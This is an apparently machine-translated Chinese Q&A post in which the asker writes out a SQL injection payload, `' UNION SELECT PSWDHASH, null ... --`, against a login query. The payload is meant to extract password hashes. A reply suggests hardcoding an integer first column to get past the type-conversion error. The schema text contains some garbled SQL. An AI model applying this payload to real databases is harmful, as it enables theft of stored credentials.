我有两张桌子
CREATE TABLE LOGIN (
[ID] INT NOT NULL IDENTITY(1,),
PASSWORD VARCHAR(30) NOT NULL,
CONSTRAINT [PK] PRIMARY KEY ([ID] ASC)
)
CREATE TABLE HASH (
PSWDHASH VAR(100) NOT NULL
)
我们已经可以在这里看到一个问题,
LOGIN
有两列,而HASH
只有一列,而且ID
中的LOGIN
列是INT
,而PSWDHASH
中的HASH
是一个 varchar。
我必须在此查询中执行 UNION SELECT 注入
SELECT * FROM login WHERE passwd = '$input';
SELECT * FROM login WHERE passwd = '' UNION SELECT PSWDHASH, null as col2 FROM HASH -- ';
这会导致
Conversion failed when converting the varchar value 'b202c5234b' to data type int
我该如何解决这个问题?最简单的方法是将
ID
表中的 LOGIN
转换为 varchar 但 SELECT * 阻止了我。我无法将 varchar 强制转换为 ID。我可以用ORDER BY
做点什么吗?我可以从 LOGIN 中的 col2 和 HASH 中的 col1 开始吗?
您可以对产生错误的第一列进行硬编码。你试过吗
SELECT 1 as col1, PSWDHASH(在本例中第一列将为 int)
而不是
选择 PSWDHASH,col2 为空 ?